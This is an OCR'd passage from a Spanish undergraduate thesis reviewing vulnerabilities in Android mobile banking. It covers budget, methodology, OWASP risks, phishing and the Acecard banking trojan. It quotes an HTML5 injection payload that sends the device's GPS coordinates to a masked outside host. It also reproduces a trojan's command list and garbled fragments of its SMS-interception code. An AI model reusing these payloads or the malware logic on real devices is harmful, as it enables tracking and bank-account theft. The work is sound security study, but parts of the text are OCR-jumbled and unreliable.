Inteligente
Software
Windows 10 | | 0.00 0.00
Subtotal $ 1798.00

5.1.3. Recursos Materiales

Los recursos materiales a utilizar como materiales de oficina y servicios basicos se

describen a continuacion:

Tabla 6. Recursos materiales

Descripcion | Cantidad | V. Unitario ($) | Valor Total ($)
Materiales de Oficina
Cartuchos de tinta 4 25.00 100.00
Resma de Papel 4 5.00 20.00
Perfiles 5 1.00 5.00
Copias 5000 0.02 100.00
Paquete de Cd’s 1 10.00 10.00
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Servicios Basicos
Luz 6 meses 20.00 120.00
Transporte 180 dias 1.80 324.00
Internet 6 meses 20.05 120.30
Alimentacion 180 dias 6.00 1080.00
Teléfono 50.00
Subtotal ($) 1929.3

5.1.4. Presupuesto Total

La tabla siguiente muestra el presupuesto total para el desarrollo del proyecto:

Tabla 7. Presupuesto total

Recursos Subtotal ($)

R. Humano 5600.00
R. Técnico 1798.00
R. Material 1929.30
Total Previo ($): 9327.30
Imprevistos 2000
Total ($): 11327.30

5.2. Métodos de Investigacion

5.2.1. Método Deductivo

El método deductivo es aquél que parte los datos generales aceptados como valederos,
para deducir por medio del razonamiento I6gico una suposicién particular. Con este
método se redacté la problematica, estableciendo diferentes problemas generales
referentes a la seguridad en dispositivos maviles con sistema operativo ANDROID, los
cuales sirvieron de ayuda para poder plantear el problema especifico del tema de

investigacion.
5.2.2. Método Inductivo

El método inductivo va de lo particular a lo general, partiendo desde un punto especifico
como el problema, se determiné los objetivos a desarrollar, y ademas ayudo6 en la

estructuracion del marco teérico con informacion relacionada al tema de investigacion.

5.2.3. Método de Revisién Sistematica de Literatura

Con este método se busca realizar un analisis y sintesis de conceptos tedricos para
obtener mediante este la informacion apropiada para la elaboracion del estado de arte

del trabajo, utilizando informacion cientifica de bibliotecas confiables.
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5.3. Técnicas de recoleccion de informacion

5.3.1. Técnica de Revisan Bibliografica

Esta técnica se fundamenta en la recoleccion de informacion, la cual sirve de gran ayuda
en la elaboracion del trabajo de titulacion, permitiendo mediante la obtencion de
contenidos tedricos de diferentes repositorios, la sustentacion adecuada del proyecto de

investigacion.
5.4. Metodologia

Revision Sistematica de Barbara Kitchenham

Una revision sistemética es una manera de evaluar e interpretar toda la investigacion
disponible, que sea relevante respecto de una interrogante de investigacion particular,
en un area teméatica o fenébmeno de interés [26]. EIl método original de Barbara
Kitchenham consiste en:

Etapa 1. Planificacién de la Revision

Identificacion de la necesidad de la revision

El interés de desarrollar una revisién sistematica surge de la necesidad de los
investigadores de resumir la informacion existente sobre algin fendbmeno de manera
rigurosa e imparcial. Lo anterior, con el objeto de establecer conclusiones mas generales
que los estudios individuales o como un comienzo de actividades de investigacion
futuras. Basicamente consiste en determinar cuales son los objetivos de la revision,
cudles son las interrogantes de investigacidbn y conque recursos se cuenta para
realizarla, por ejemplo: que tipos de fuentes se emplearan: internet, revistas electrénicas

de acceso restringido o publico, actas de congreso etc.

En esta etapa se definen las normas que seguira la investigacion respecto del proceso
de busqueda en las fuentes de informacion definidas anteriormente, asi mismo se
definen los protocolo de busqueda los términos que se buscaran, las combinaciones de
éstos, la estrategia de busqueda empleada segin cada fuente y cémo se registraran los
resultados de cada busqueda. Es recomendable registrar los resultados de las
busquedas. El protocolo puede ser mejorado en la medida que se avanza con la
revision. Por ejemplo, se pueden incorporar otros términos de busqueda o realizar otras
combinaciones de los términos usados.
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Etapa 2. Desarrollo de la Revision

Se desarrolla a busqueda, sobre las fuentes de informacion definidas, aplicando el
protocolo de busqueda como pueden ser: GOOGLE SCHOLAR, SCOPUS, IEEE,
SCIENCEDIRECT, SCIRUS, entre muchas otras. En esta etapa se revisan trabajos, en
base al protocolo de revision, considerando los criterios de inclusion y exclusion, luego
se extrae la informacion de interés en los estudios ya sean extractos de los documentos,
ideas, resiumenes, etc. Ademas debe registrarse la informacién necesaria para gestion,

como la relativa a la bibliografia y otra que los investigadores consideren pertinente.

Etapa 3. Publicacion de los Resultados

Basicamente en esta etapa se refiere al uso que se le va a dar a los resultados obtenidos
durante toda la revision sistemética, por ejemplo publicarla en alguna revista de interés
para informaticos que deseen saber mas sobre vulnerabilidades en la plataforma

ANDROID, especificamente en dispositivos de bolsillo.
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6. RESULTADOS

El presente proyecto esté estructurado en tres fases, con las cuales se busca encontrar
una solucién al tema de estudio, denominado “Estudio de Vulnerabilidades en

transacciones bancarias en dispositivos méviles con Sistema Operativo ANDROID”

En cada fase se obtuvieron diferentes resultados los cuales se detallaran a continuacion:

6.1. Fase 1. Indagar Cuales son las vulnerabilidades mas frecuentes que
existen al momento de realizar transacciones bancarias con dispositivos
moviles ANDROID.

La primera fase consistio en la elaboracion de una revision sistematica destinada a
recoleccién de informacion acerca de diferentes trabajos enfocados en la misma

temética del trabajo de titulacion:
6.1.1. Revisién bibliografica sobre el problema de investigacion

La primera parte del trabajo estda orientado a una revisibn sistematica sobre
vulnerabilidades que se dan al momento de realizar transacciones bancarias con
dispositivos méviles ANDROID, para lo cual se realizé una busqueda de informacion en
diferentes fuentes bibliograficas que nos ayude a responder las preguntas de revision.
Los articulos seleccionados aportan con informacion concerniente a las diferentes
vulnerabilidades que se dan con mas frecuencia al momento de realizar transacciones

bancarias con dispositivos moviles que trabajan bajo la plataforma ANDROID.

6.1.2. Generar las preguntas de Investigacion

Para darle ejecucion a esta fase primeramente se define el objetivo de la bisqueda
como alcanzable que se basa en conocer cudles son las vulnerabilidades mas

frecuentes que se dan en la plataforma ANDROID al realizar tareas en linea.
Para verificar que se cumpla el objetivo, se plantearon las siguientes preguntas de
investigacion:

a. ¢Cudles son las vulnerabilidades mas frecuentes que se dan al momento
de realizar transacciones bancarias?
b. ¢Cudl es la incidencia de uso de transacciones bancarias con los

Smartphones en los usuarios?
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Luego de realizar algunas busquedas preliminares que nos arrojaron resultados, las
preguntas de investigacion fueron dirigidas a las vulnerabilidades en transacciones

bancarias ANDROID vy la incidencia que hay en los usuarios.

La especificacibn de la pregunta de investigacion es la parte mas importante de
cualquier revision sisteméatica [27]. Las preguntas de revision son parte importante en
toda metodologia de revisidn sistematica y a su vez es la parte inicial de toda revision
en la que se planteen objetivos a conseguir, permitiendo establecer criterios de

inclusion/exclusion, etc.

Generalmente las preguntas de investigacion se expresan en formato PICOC, lo que
puede resultar en mayor o menor grado una complicacién, lo cual dependiendo la
orientacion de la pregunta de investigacion. En este caso en particular expresar en

formato PICOC la pregunta de investigacién es completamente irrealizable.

Sin embargo en la presente revision sistematica PICOC posee una utilidad limitada, ya
gue el objetivo de la revisién no hace referencia a la efectividad de un tratamiento, sino
a la recoleccion de informacion sobre vulnerabilidades méviles ANDROID al momento
de realizar transacciones bancarias. En consecuencia varios de los elementos
constituyentes de PICOC (en concreto, comparison y outcome) no pueden ser utilizados
[28].

6.1.3. Crear la cadena de blusqueda

A partir de las preguntas de investigacion, y trabajos anteriormente revisados se
definieron palabras clave para las busquedas: vulnerabilit mobile Applications, Bank

transactions, mobile vulnerabilities, android vulnerabilities.

6.1.4. Criterio de seleccidon de estudios

A partir de los resultados de busquedas se acordé la seleccion de estudios y trabajos

que cumplieran al menos uno de los siguientes puntos:

+ Explicacion del funcionamiento general de cada vulnerabilidad encontrada
+ Vulnerabilidades publicadas por OWASP, (pagina oficial sobre seguridades en

aplicaciones moviles ANDROID)

6.1.5. Extraccion de la Informacidn

+ En cada articulo encontrado se considero los siguientes criterios:

+ Vulnerabilidades en aplicaciones méviles ANDROID
+ Transacciones bancarias moviles
+ Vulnerabilidades en transacciones bancarias moéviles
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+ Vulnerabilidades bancarias mas frecuentes
4+ Conclusiones relevantes

6.1.6. Estudios Incluidos y Excluidos

El criterio utilizado para la seleccién de articulos y publicaciones, fue que aportaran con
las principales vulnerabilidades que se dan al momento de realizar transacciones

bancarias.

Las busquedas realizadas generaron 42 articulos de los cuales se seleccionaron 18
articulos y una pagina oficial sobre seguridades en aplicaciones moviles ANDROID de
acuerdo al criterio arriba mencionado, en la siguiente grafica se muestra las bibliotecas

como utilizadas para la revisién sistematica.

GOOGLE Ventas

ACADEMICO
20%

SCOPUS

40%
OWASP

10%

IEEE

30%
= SCOPUS = |EEE OWASP GOOGLE ACADEMICO

Figura 3. Gréfica de estudios encontrados

Los criterios de inclusion y exclusion se determinaran los factores que deben cumplir los

estudios para la realizacion del trabajo.
Los criterios de inclusion que se tomaron en cuenta son:

+ El articulo describe conceptos y aspectos importantes vulnerabilidades en
aplicaciones ANDROID al realizar transacciones bancarias.
+ El articulo describe una breve explicacion de lo que trata la vulnerabilidad

encontrada.
#+ El articulo posee informacién de vulnerabilidades en aplicaciones ANDROID.

Los criterios exclusion tomados en cuenta son:

#+ Los articulos que tenga una fecha de publicacién menor al afio 2011.
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6.1.7. Establecer los procesos de seleccion

Para los procesos de seleccion se probaron las cadenas de busqueda en diferentes
repositorios, y se seleccionaron los casos de estudio en base a los criterios de inclusion

y exclusion, e informacién concerniente con el tema de estudio.

El nUmero de busquedas estan representadas por el acronimo B0O, en el cual se
enumera a continuacion las indagaciones de acuerdo con cada biblioteca virtual

utilizada.
Las busquedas realizadas fueron de la siguiente manera en los distintos repositorios:

Biblioteca Digital de SCOPUS: http://ieeexplore.ieee.org/ [29]

BO1: ((An android based) and (based mobile device) and (device application) and

(Games and multimedia))

B03: ( ( forensic investigation ) AND ( 'onedrive’ OR 'box’ OR 'googledrive’ OR
'dropbox') AND ( applications) AND (android) AND (ios))

BO5: ( TITLE-ABS-KEY (how current) AND TITLE-ABS-KEY (android) AND TITLE-
ABS-KEY ( malware seeks) AND TITLE-ABS-KEY ( evade automated) AND TITLE-
ABS-KEY ( code analysis))

BO06: ( ALL ( automatic detection) AND ALL ( correction) AND ALL ( visualization )
AND ALL ( security vulnerabilities) AND ALL ( mobile apps))

OWASP ORG: http://www.owasp.org [30]

BO7: "vulnerabilidades" + "owasp" + "moviles"

Biblioteca Digital de la IEEE: http://scopus.com [31]

B02: ((("Publication Title":Security assessment) OR assessment of Mobile) AND Maobile
Banking)

B04: (((("Document Title":Potential Vulnerability) AND Analysis) AND Mobile Banking)
AND Applications)

GOOGLE ACADEMICO: https://scholar.google.com.ec/ [32]

B08: "Systematic Literature Review:" + "Security Challenges of Mobile Banking" and

"Payments System"

B09: "Examining" + "Security Risks" of "Mobile" + "Banking Applications" + "through Blog
Mining"
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A partir de los resultados de busquedas se acordé la seleccidén de estudios y

trabajos que cumplieran al menos uno de los siguientes puntos:

A partir de los resultados de busquedas se acordé la seleccion de estudios y trabajos

que cumplieran al menos uno de los siguientes puntos:
e Explicacion del funcionamiento general de cada vulnerabilidad encontrada

¢ Vulnerabilidades publicadas por OWASP, (pagina oficial sobre seguridades en

aplicaciones méviles ANDROID)

Extraccion de lainformacion

Los criterios de seleccion de estudios establecen la pauta de extracciéon de informacion
relevante para este trabajo. Por cada articulo seleccionado, se sintetizara al menos uno

de los siguientes elementos:

¢ Vulnerabilidades en aplicaciones méviles ANDROID
e Transacciones bancarias moéviles

¢ Vulnerabilidades en transacciones bancarias méviles
¢ Vulnerabilidades bancarias mas frecuentes

e Conclusiones relevantes

Resultados

A continuacién se presenta informacion recolectada de los casos de estudios
seleccionados, la cual esta dividida en la siguiente tabla dividida con el nidmero de
busqueda el nombre del articulo, el tipo de vulnerabilidad encontrada y las conclusiones

mas relevantes.

El nombre de los articulos de la tabla siguiente, se los coloco en ingles debido a las

fuentes donde se los obtuvieron.

Bis | Articulo Vulnerabilidad / Incidencia | Conclusiones Relevantes

que en los usuarios

da

B0O1 | Games and multimedia | Cambio de la rutina de vida de | En los dltimos afios y mayormente a
implementation on | los usuarios moviles. partir del 2015 se ha incrementado
heroic battle of de manera abismal el uso de
surabaya: An android dispositivos moviles como son los
based mobile device SMARTPHONES por ende esto ha
application,” cambiado la vida de los usuarios ya

que por medio de estos pueden
acceder a mucha informacién como
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compras, noticias, transacciones

bancarias y mas.

B02 | Forensic investigation | Almacenamiento inseguro de . L .
of  OneDrive, Box, | lainformacion en la nube. La informacion en la actualidad e
GoogleDrive and almacena en Ia_nube y es de fa_cn
Dropbox applications on acceso por medio de_un dispositivo
Android and oS movil desde cualqg!er parte del
devices planeta y esto es utilizado de mala

manera por delincuentes
informaticos para filtrar datos,
realizar comercio ilegal etc.

BO3 | Potential Vulnerability | Plataformas moviles en . .

Analysis of Mobile | disputa por encabezar el Asl como ha crecido de manera

Banking Applications mercado de Smartphone. fesca_tlable el desarrollo de telefonos
inteligentes, se encuentra la pelea
por liderar el mercado en cuanto a
sistemas operativos moviles en este
caso ANDROID es el mas popular
ocupando un 73% a nivel global, por
lo que el software malicioso para
estos dispositivos ANDROID esta en
aumento con la finalidad de hacer
dafio en especial a aplicaciones
bancarias moviles.

B04 | How Current Android | Campafias de ataques . .

Malware  Seeks to | especificamente a la En Ia~ actualidad existe muchas

Evade Automated Code | plataforma ANDROID. campafias de nuevas amenazas a la

Analysis plataforma ANDROID, en poco
tiempo hubo miles de ataques a este
sistema operativo por medio de
aplicaciones maliciosas, archivos
adjuntos, SMS, troyanos bancarios,
entre otras.

BO5 | Automatic Detection, | Informacion vulnerable debido . L, .
Correction, and | a la baja proteccion cuando La informacion que 'CII’CU|a de
Visualization of Security | viaja la misma de un lado a extremo a extremos esta expuesta a
Vulnerabilities in Mobile | otro. observaqo_res no au_torlzados por lo
Apps que es visible el peligro que corre la

misma al momento de viajar de un
lugar a otra en aplicaciones moviles.

BO6 \(/:Voenatlr(ols Server  Side La debilidad de los controles L

del lado del servidor, los os atacantes al encontrar una
cibercriminales merodean los | Vulnerabilidad inyectan  codigo

servidores en busca de
vulnerabilidades con el
objetivo de inyectar cédigo
malicioso [33].

malicioso para perpetrar su cometido
que es el hurto de informacion de los
usuarios.

Insecure Data Storage

Inseguridad en
Almacenamiento de Datos, al
perder el usuario su
dispositivo movil es presa facil
para que un atacante pueda
acceder por medio de exploits,
incluso sin tenerlos
fisicamente [30].

Esta vulnerabilidad se da
mayormente en dispositivos
hurtados/ robados aunque existe la
posibilidad de acceder a estos
dispositivos sin la necesidad de
tenerlos fisicamente a través de
exploits in-the wild y/o distintos
codigos maliciosos.

Insufficient  Transport
Layer Protection

Proteccion Insuficiente en la
Capa de Transporte, cuando

Al desarrollar una aplicacién
normalmente los datos son
intercambiados entre cliente —

29



no es de buena calidad la
codificacion de una aplicacion

puede ser facil para un
atacante  capturar  datos
mientras viaja la

informacion[34].

servidor, si la codificacion de estas
aplicaciones es mala existen muchas
técnicas para observar datos
sensibles en el trayecto cliente —
servidor.

Unintended Data

Leakage

Fuga Involuntaria de Datos,
cuando se desarrolla
aplicaciones moviles no se
puede controlar la seguridad
de los otros sistemas que van
a interactuar o hardware con el
que va a interactuar por lo que
se pueden perder datos [35].

Como las aplicaciones moviles
tienen que interactuar con sistemas
operativos, infraestructuras digitales,
hardwares nuevos entre otros; que
son ajenos a los desarrolladores, es
obvio que no pueden controlar fallas
que estén por fuera de las
aplicaciones moviles, por lo que es
muy posible que se pierdan datos al
no realizar una evaluacion con el fin
de entender como las aplicaciones
interactdan con todos los elementos
de las dispositivos.

Poor Authorization and
Authentication

Pobre Autenticacién y
Autorizacién, por la falta de
tokens de seguridad se puede

perder la informacién, por
ejemplo con el conocido
“‘desea guardar su

contrasefia” [36].

Hay patrones de autenticacion que
se consideran inseguros que se
deben evitar, algunos ejemplos son
el famoso “Recuérdame” cuando las
aplicaciones piden recordar las
contrasefias de forma automatica
entre otras.

Broken Cryptography

Criptografia Rota, al utilizar
algoritmos propios de
encriptacion de datos pueden
existir huecos por los que los
atacantes pueden vulnerar
alguna aplicacion movil [37].

En ocasiones los métodos de
encriptacion de la informacion
(datos) se vuelve una préctica casi
obsoleta ya que por ejemplo al crear
y utilizar un propio algoritmo de
encriptacion como algoritmos
desfasados son malas practicas en
cuanto a seguridad criptografica.

Client Side Injection

Cliente de Inyeccién Lateral,
principalmente se da en
usuarios ROOT ya que tener
permisos de super usuario
pueden acceder a archivos y
dejar puertas abiertas [38].

Siempre 'y cuando exista una
posibilidad de usuarios internos
como externos y las mismas
aplicaciones puedan enviar datos no
confiables al sistema, un delincuente
informatico podria inyectar exploits
en las aplicaciones moéviles lo que
causa un riego muy importante de
fuga de informacion.

Security Decisions Via
Untrusted Inputs

Las decisiones de seguridad

que no se confian via
entradas, las aplicaciones
moviles al interactuar con

otras aplicaciones que no
sean de confianza son
vulnerables ya que hay
algunos procesos que pueden
contener malware [39].

Para un mejor entendimiento sobre
esta vulnerabilidad se debe conocer
el concepto de IPC (Comunicacién
entre  procesos) cuando @ se
comunican sistemas operativos con
aplicaciones moviles comparten
espacios de memoria para que haya
esta comunicacion y sincronizacion
entre los mismos, por lo que para
minimizar los riesgos de ataque la
aplicacion movil deberia permitir
conexion solo con aplicaciones
confiables. En  conclusion la
informacién sensible no deberia ser
enviadas a través de IPC etc.

Improper Session L En esta vulnerabilidad se rescata que

Handling Inaqlgcuada Gestion de la el manejo de la informacion puede
sesion, sucede cug,ndo N0 | ser muy débil parecido a lo que
cerramos la SEsion  POr | g cede con la autenticacion y
ejemplo  cuando dejamos
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abierta una sesién en alguna
red social o cuenta de banca
electrénica entre otras [40].

autorizacion pobre nombrada
anteriormente. Es muy importante
manejar bien la sesién una vez
abierta, es decir validar la sesién
tanto en servidor como en cliente, asi

como establecer un tiempo de
expiracion de la sesion.
Lack of Binary L, . En muchas ocasiones la falta de
Protections La falta de proteccion a nivel proteccién a nivel binario facilita el

binario, a través de ingenieria
inversa  pueden  obtener
informacién confidencial los
atacantes, esto  sucede
cuando un programador no ha
sido autor completo de la
aplicacion [41].

ataque a través de ingenieria inversa.
Si un programador no es creador del
caodigo de su programa a nivel binario
y no lo tiene protegido un
ciberdelincuente puede facilmente
buscar fallas en el cédigo, como por
ejemplo copiarlo hacer cambios
menores y vender una aplicacion
nueva similar como si fuese de su
autoria.

BO7

Security assessment of
Mobile- Banking

Denegacion  de  Servicio

Distribuida ( DDoS).

Es uno de los ataques mas comunes
a nivel mundial y la tercera amenaza
para el FBI, su ataque esta dirigido a
sistemas bancarios, este se perpetla
mediante el escaneo de puertos
abiertos.

El malware movil.

Este ataque esta basado en troyanos
bancarios, rootkists y virus. Los
delincuentes informaticos mejoran
cada dia sus cédigos maliciosos con
el fin de tener éxito al momento de
querer violar la seguridad de las
cuentas bancarias méviles.

Las amenazas de
aplicaciones de terceros.

Consiste en la instalacion secreta de
aplicaciones de terceros las cuales
manipulan las aplicaciones bancarias
de una manera perjudicial para el
usuario.

TCP-IP Spoofing.

El atacante obtiene un acceso no
autorizado en un dispositivo movil,
este muestra un mensaje malicioso
gue supuestamente es de confianza
haciendo caer al usuario.

Puertas de acceso traseras.

Los atacantes instalan puertas
traseras con el fin de evitar los
mecanismos de seguridad y con la
supuesta solucion a problemas, al
acceder al dispositivo ellos ya
pueden hacer dafio al usuario.

La manipulacion.

Mediante la  modificacion vy
manipulacion de aplicaciones
bancarias moviles por parte de los
piratas informaticos, estos pueden
realizar aplicaciones fraudulentas
con mucho parecido a las originales,
esperando sean instaladas por
usuarios ingenuos.

Exploits.

Se trata de trozos o pequefas
cantidades de software que se
instalan de manera inescrupulosa en
el software del sistema operativo
movil o a su vez pueden adherirse al
mismo hardware del dispositivo con
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el fin de espiar 0 a su vez extraer
informacidn del usuario.

Por medio de ingenieria social se
puede sacar informacion privilegiada
a usuarios incautos como fechas
importantes que utilizarian como
nombres de usuario y contrasefia,
ademas los piratas informaticos
pueden introducir en los equipos
moviles los denominados troyanos
bancarios con el fin de robar
informacién a los mismos.

Los agentes directos para que se
realice esta vulnerabilidad estan los
mismos  usuarios, el cdédigo
malicioso, 0 simplemente una
aplicacion  vulnerable  en el
dispositivo inteligente, esta
vulnerabilidad consiste en llamadas
al servicio web o API la cual es
consumida por la aplicacion movil.

Ingenieria social y troyanos.

Usuarios, cédigo malicioso y
las mismas aplicaciones al
usar mal los APIs.

B08 Systematic Literature . . Se trata de un fraude en la cual se
Review: Security Phishing Bancario. clonan péaginas bancarias las cuales
Challenges of Mobile tienen la apariencia de ser oficiales,
Banking and Payments en esta técnica son muy vulnerables
System usuarios ingenuos.
B09 E)i(:krglgénl\%obile SZEET% Redes WIFI sin cifrar. Las redes WIFI pl]blicas, son muy
Applications  through inseguras por los altos indices de
ataques por parte de

Blog Mining ciberdelincuentes, esto se da debido

a la ingenuidad de los usuarios ya
que para acceder a la banca movil,
utilizan estas redes inseguras sin
saber el precio que pueden llegar a
pagar por su falta de conocimiento
sobre estas seguridades moviles.

Por la carencia de proteccion en
aplicaciones moviles bancarias, es
facil aplicar ingenieria inversa, es
decir extraer el cédigo fuente de
dichas aplicaciones para estudiarlo,
modificarlo y por ende tratar de hacer
cambios maliciosos para perpetuar el
hurto de la informacién.

Vulnerabilidades de las
aplicaciones de banca movil.

Consideracion Personal

Las revisiones sisteméaticas requieren un esfuerzo considerablemente superior que las
revisiones de literatura convencionales, y la formalidad con la que se lleva a cabo la
revision permite validar los resultados reportados en las mismas y estos resultados
estan soportados y avalados por el protocolo de revision. Finalmente esta metodologia
de investigacion es un buen método para estructurar la base conceptual del tema de

investigacion a emprender.

32



6.2. Fase 2 Evaluar las técnicas mas importantes perpetuadas por los
delincuentes Informaticos al momento de hurtar informacion de los

usuarios moviles ANDROID.
6.2.1. PHISHING E INJECTION

En la actualidad hay un enorme crecimiento de transacciones electrénicas que requieren
el intercambio de datos personales y muy sensibles a través de internet, técnicas como
phishing se perfilan de manera creciente para romper ese eslabon en cuanto a la cadena
de seguridad de los usuarios que hacen uso de internet y que en especial manejan
cuentas bancarias para realizar transacciones y mas tareas. Ataques de ingenieria
social se dispersan a gran escala en el orden financiero/cibernético criminales a un costo
muy bajo para inducir especialmente a usuarios ingenuos a internet con el fin de
capturar de algun modo las credenciales de aquellos usuarios como lo son las cuentas
bancarias y numero de tarjetas de crédito entre otros, por lo que este problema de be
ser abordado en el campo moévil por la gran demanda y difusion de dispositivos

inteligentes con sistema operativo Android tales como Smartphones, tabletas, etc [42].

Los ataques de Phishing bancario consisten en ingenieria social, es decir la
manipulacién de las personas engafiandolas para inducirlos a revelar informacion
confidencial. En palabras mas técnicas Phishing pretende explotar las debilidades en
los procesos del sistema causado por el inadecuado comportamiento de los usuarios,
un sitio web del banco puede ser suficiente contra el robo de contrasefia, basicamente
este tipo de ataque consiste en él envié de mensajes como correos a las personas a
través de una pagina web falsa del banco resultando beneficiado el atacante. Estas
situaciones se ven agravadas por el hecho de que la mayoria de los usuarios méviles
subestiman las amenazas informéticas descuidando incluso las medidas béasicas de
seguridad [42].

Existen millones de formas de clonar una pagina web, como hacer la “pesca” del objetivo
es lo dificil, los delincuentes informéaticos utilizan técnicas como falsificacion de e-mail
de la entidad financiera solicitando informacién o solicitando cambio en las credenciales
de ingreso del banco, para ello facilitan un link el cual aparentemente lleva a la victima
al sitio original, sin embargo es una pantalla utilizada para que la informacion se envie
a un servidor privada, el cliente suele ser redireccionado a la pagina real donde obtiene

como respuesta una falla en la operacién u operacion finalizada inesperadamente, lo
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gue hace sospechar al usuario que el error esta en la plataforma original y el robo de la

informacién pasa sin ser detectado [43].

En la siguiente imagen se puede apreciar como los delincuentes informéticos hurtan la
informacion por medio de esta técnica de PHISING.

Phisher

Bank

Internet consumer

Figura 4. llustracion del Phishing Bancario

6.2.2. INYECCION BASADA EN HTML5

A lo largo del tiempo los desarrolladores han creado aplicaciones moviles hibridas las
cuales funcionen en los distintos sistemas operativos en especial en ANDROID y en los

demas respectivamente como es el caso de I0S y Microsoft.[44]

Hay una ataque conocido como XSS (Cross-Site-Scripting) que tiene que ver mucho
con inyeccion basada en HTML 5, que normalmente se da en navegadores comunes

centrandose especialmente en el cliente y no en el servidor.[45]

La mayoria de los ultimos teléfonos inteligentes funcionan con versiones de su sistema
operativo basado en HTML 5, por desgracia las aplicaciones basadas en HTML 5
también son susceptibles de ataques de cross-site scripting como la mayoria de las
aplicaciones web. Basicamente esta técnica consiste en la inyecciéon de codigo
malicioso en paginas ajenas de manera malintencionada de muchos canales de
inyeccion. La demostraron un ataque de inyeccion de cédigo en HTML5 basado en

populares aplicaciones de escaneo de cédigo de barras. Utilizan una cadena malicioso
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gue contiene la etiqueta cédigo HTML y JavaScript como se muestra en el siguiente
parrafo [44].

I <img src=x onerror=

2 ’"navigator.Geolocation. WatchPosition (

3 function(position){

4 info="1lat:”+position.coords. latitude+

5 "loc:” + position.coords.longitude;

6 alert(info);

7 b=document.createElement(’img’);

8 b.src="http:/sxk.kxx.kk:kkxx?2c=" +m }) />

Para la demostracion de este ataque de inyeccién basado en html5, la aplicacion que
utilizo el autor tiene el nombre de HTTP Position, que se descarg6 desde Google Play,
por su parte se utilizd para introducir la cadena de condigo maliciosa anteriormente
mostrada, una vez aceptada la cadena por los usuarios se mostrara la ubicacién actual

del GPS de los dispositivos como se puede apreciar en la siguiente imagen:

Figura 5. Localizacion de Dispositivo

Para la comprobacion de este método de inyeccién el autor encontr6 en mas de 8000
aplicaciones en Google Play la vulnerabilidad con la que se puede inyectar codigos

JavaScript mediante cajas de texto basada en html5.
6.2.3. INYECCION TROYANO ACECARD

Este troyano bancario es capaz de atacar a usuarios de muchisimas aplicaciones
bancarias moviles en linea ya que puede eludir con facilidad las seguridades de la tienda
de GOOGLE PLAY. Por la tercera parte del 2015 expertos en seguridad de la compafiia
KASPERSKY LAB detectaron un creciente nimero de ataques en transacciones
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bancarias con teléfonos inteligentes en Australia por lo que se realiz6 una investigacion
y se llegd a este troyano bancario denominado ACECARD. Béasicamente la familia a la
pertenece este troyano bancario utiliza casi toda la funcionalidad del software malicioso
gue existe en la actualidad los cuales son por ejemplo el robo de mensajes de texto y
de voz de un banco hasta superponer ventanas de aplicaciones oficiales con mensajes
falsos que practicamente simulan la pagina oficial de inicio de sesion con el principal
objetivo de robar informacion personal y los detalles de las cuentas bancarias.
Recientemente la familia de este troyano bancario ACECARD en sus Ultimas versiones
pueden atacar las aplicaciones para clientes de alrededor de unos 30 bancos y sistemas
de pago, teniendo muy en cuenta que este tipo de troyano puede superponer su
mensaje a voluntad en cualquier aplicacion, por lo que el nimero de aplicaciones

financieras puede llegar a crecer con el tiempo [46].

Al hablar de los inicios de este troyano bancario, tomando en cuenta la creciente
popularidad de Acecard y los antecedentes criminales de sus creadores Todo comenzé
con Backdoor. AndroidOS. Torec.a. La primera version de este programa malicioso se
detecto en febrero de 2014 y podia realizar las siguientes operaciones desde el servidor
C&C:

#intercept_sms_start — comenzar a interceptar los SMS entrantes;
#intercept_sms_stop — dejar de interceptar los SMS entrantes;

#ussd — generar una solicitud USSD;

#listen_sms_start — comenzar a robar los SMS entrantes;

#listen_sms_stop — dejar de robar los SMS entrantes;

#check — enviar informacion sobre el teléfono (nimero de teléfono, pais de
residencia, IMEI, modelo, versién del sistema operativo) al servidor C&C;
#grab_apps — enviar una lista de aplicaciones instaladas en el dispositivo al
servidor C&C;

#send_sms — enviar un SMS a los numeros especificados en el comando;
#control_number — cambiar el nimero de control del teléfono.

En abril de 2014 aparecié una version muy mejorada con los siguientes comandos
adicionales:
#check_gps — enviar las coordenadas del dispositivo al C&C,;
#block_numbers — agregar nimeros a la lista de SMSs a interceptar;
#unblock_all_numbers — limpiar la lista de SMSs a interceptar;
#unblock_numbers — eliminar los numeros especificados de la lista de SMSs a
interceptar;
#sentid — enviar un SMS con la identificacién del troyano a un nimero especifico.
A finales de mayo de 2014, detectamos el primer cifrador para moviles, Trojan-

Ransom.AndroidOS.Pletor.a. Cifraba los archivos del dispositivo y exigia un rescate
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para descifrarlos. Algunas modificaciones de Pletor usaban TOR para comunicarse con
el servidor C&C.

Alrededor de un mes después se detecta una nueva modificacion,
Backdoor.AndroidOS.Torec. A diferencia de las versiones anteriores, no usaba TOR y
buscaba informacién de tarjetas de crédito: el troyano superponia una ventana maliciosa
a la aplicacion oficial Google Play, donde pedia al usuario que ingresara sus datos
personales.

Bésicamente se le asigna el veredicto Trojan-Banker.AndroidOS.Acecard.a a esta
variante y se la clasifica como una familia separada de malware. De ahi en mas, todas
las nuevas versiones del troyano se han detectado como parte de la familia Acecard,
mediante un andlisis y comparacion del cédigo usado en Backdoor.AndroidOS.Torec.a,
Trojan-Ransom.AndroidOS.Pletor.a y Trojan-Banker.AndroidOS.Acecard.a demuestra
gue los tres fueron obra de los mismos cibercriminales. Estos son algunos ejemplos

claros de ello:

private wolid processIntercept3MSStartCommand ()

i
Otils.putBooleanValue(this.settings, "INTERCEFTING INCCMING EMABLED™, true):;

TorSender. sendRentStatns (this.context, "started™):

}

private woid processInterceptSMSStoplommand ()

i
Otils.putBooleanValue(this.settings, "INTERCEFTING INCOMING EMABLED™, false):
TorSender.sendRentStatus (this.context, "stopped™):

}

Figura 6. Cddigo del procesador de SMS de Trojan-Backdoor.AndroidOS.Torec.a
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private wvoid processInterceptIMSStartCommand ()

{
Otils.putBooleanValpe (this.settings, PINIERCEPIING_INCDMING_ENBBLED“, true) ;
Sender. sendRentStatus (this.context, "startced™):

private woid processInterceptiMSStoplommand ()

{
Otils.putBooleanValne (this.settinga, "INTERCEFTING INCOMING EMABRLED™, false):
Sender. sendRentStatus (this.context, "stopped™):

private woid processSendSMSCommand ()
1
String strl = Parser.getParameter({this.data, 0);
String str2 = this.data.substring (Parser.indexdfSpace(this.data, 1)):
Utils.sendMessage (strl, str2):
Sender. sendNotificationSMSSentData (this.context, strl, str2)

pubklic String getControllNumber ()

{
return this.settings.getString ("CONTROL WNUMBEER™, "™);

public boolean needTolnterceptIncoming ()
{
return this.settings.getBoolean ("INTERCEFTING INCOMING ENABLED™, false):

Figura 7. Codigo del procesador de SMS de Trojan-Banker.AndroidOS.Acecard.a

private wvoid processlnterceptSM3StartCommand ()

1
Otils.putBooleanValue (this.settings, "INIERCEFTING INMCOMING ENABLED™, true):
Sender.sendRentftatus (this.context, "started™):

